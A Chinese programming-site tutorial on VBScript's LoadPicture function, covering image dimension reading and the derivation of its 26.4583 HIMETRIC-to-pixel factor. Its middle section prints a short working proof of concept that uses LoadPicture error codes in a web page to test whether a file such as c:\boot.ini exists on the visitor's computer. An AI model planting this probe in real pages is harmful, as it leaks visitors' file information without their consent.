欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

vbscript LoadPicture函数使用方法与漏洞利用

程序员文章站 2022-04-29 09:14:38
复制代码 代码如下: loadpicture函数
选择图片

复制代码 代码如下:

<title>loadpicture函数</title>
<form name="frm">
选择图片<input type="file" name="pic" onchange="getpicinfor()" >
</form>
<script language="vbscript">

sub getpicinfor()
dim objpic,iwidth,iheight
dim pictype,picpath
picpath=document.frm.pic.value
set objpic=loadpicture(picpath)
iwidth = round(objpic.width / 26.4583) '26.4583是像素值
iheight = round(objpic.height / 26.4583)
select case objpic.type
case 0
pictype = "none"
case 1
pictype = "bitmap"
case 2
pictype = "metafile"
case 3
pictype = "icon"
case 4
pictype = "win32-enhanced metafile"
end select
document.write "你选择了图片"&picpath
document.write "<li>长度:"&iheight&"</li>"
document.write "<li>宽度:"&iwidth&"</li>"
document.write "<li>类型:"&pictype&"</li>"
end sub
</script>


不过这个函数有个漏洞,可以探测电脑上存在的文件名。2004年的漏洞,微软现在也没补,示例:

复制代码 代码如下:

<form onsubmit="doit(this);return false">
<input name="filename" value="c:\boot.ini" size="80" type="text"><input type="submit">
</form>
<script language="vbscript">
sub loadit(filename)
loadpicture(filename)
end sub
</script>
<script language="javascript">
function doit(form) {
try {
loadit(form.filename.value);
} catch(e) {
result = e.number;
}
if (result != -2146827856) {
alert('file exists');
} else {
alert('file does not exist');
}
}
</script>


这段代码中有一个“魔法数字(magic number)”26.4583,曾经有位昵称是“乱码”的朋友问过我这个26.4583是怎么来的,当时我也不知道。

前段时间逆向分析了一下vbscript.dll,才发现了其中的奥秘:
复制代码 代码如下:

26.4583 = 2540 / 96

那你一定要问,这个2540和96又是怎么来的?

要弄清楚这个问题,首先要知道vbs的loadpicture函数返回的到底是什么,vbs文档是这么描述loadpicture函数的:

returns a picture object. available only on 32-bit platforms.

只说返回图片对象,却没说该图片对象有什么属性和方法。文档语焉不详,只好动用ollydbg了:

vbscript LoadPicture函数使用方法与漏洞利用

loadpicture函数内部调用了oleloadpicture函数,查文档可知返回的是ipicturedisp接口。不过后来我发现了更简单的方法,那就是查vb的函数声明(谁让它们是一家人呢),在vb的对象浏览器中查找loadpicture函数:

function loadpicture([filename], [size], [colordepth], [x], [y]) as ipicturedisp虽然vbs的loadpicture函数比vb的简单,但是返回值应该是一样的。

好了,知道返回的是ipicturedisp接口,文档说它支持下面的属性:

property type access description
handle ole_handle (int) r the windows gdi handle of the picture
hpal ole_handle (int) rw the windows handle of the palette used by the picture.
type short r the type of picture (see pictype).
width ole_xsize_himetric (long) r the width of the picture.
height ole_ysize_himetric (long) r the height of the picture.

我们只关心width和height,它们分别表示图片的宽和高,但是它们的单位不是像素(pixel),而是himetric,我们要做的是把himetric换算成pixel。

首先把himetric换算成英寸(inch),1 himetric = 0.01 mm,1 inch = 2.54 cm,所以1 inch = 2540 himetric。

然后从inch换算成pixel,1 inch等于多少pixel呢?这是由系统的dpi(dot per inch)设置决定的,默认值是96。

现在知道2540和96是怎么来的了吧?不过上面的代码存在两个问题:第一,使用了2540/96的近似值,可能会有误差;第二,使用了dpi的默认值96,而dpi的值是可以在控制面板中修改的。

vbs中loadpicture函数的正确用法是:

复制代码 代码如下:

option explicit

'by demon
dim p
set p = loadpicture("d:\test.jpg")
wscript.echo "width: " & himetric2pixel(p.width)
wscript.echo "height: " & himetric2pixel(p.height)

function himetric2pixel(n)
'1 inch = 2540 himetric
const key = "hkey_current_user\control panel\desktop\windowmetrics\applieddpi"
dim wshshell, dpi
set wshshell = wscript.createobject("wscript.shell")
dpi = wshshell.regread(key)
himetric2pixel = round(n * dpi / 2540)
end function


windows 7下通过测试,其他系统中获取dpi的方法可能会不同,请自行修改。

上面修正的内容来自: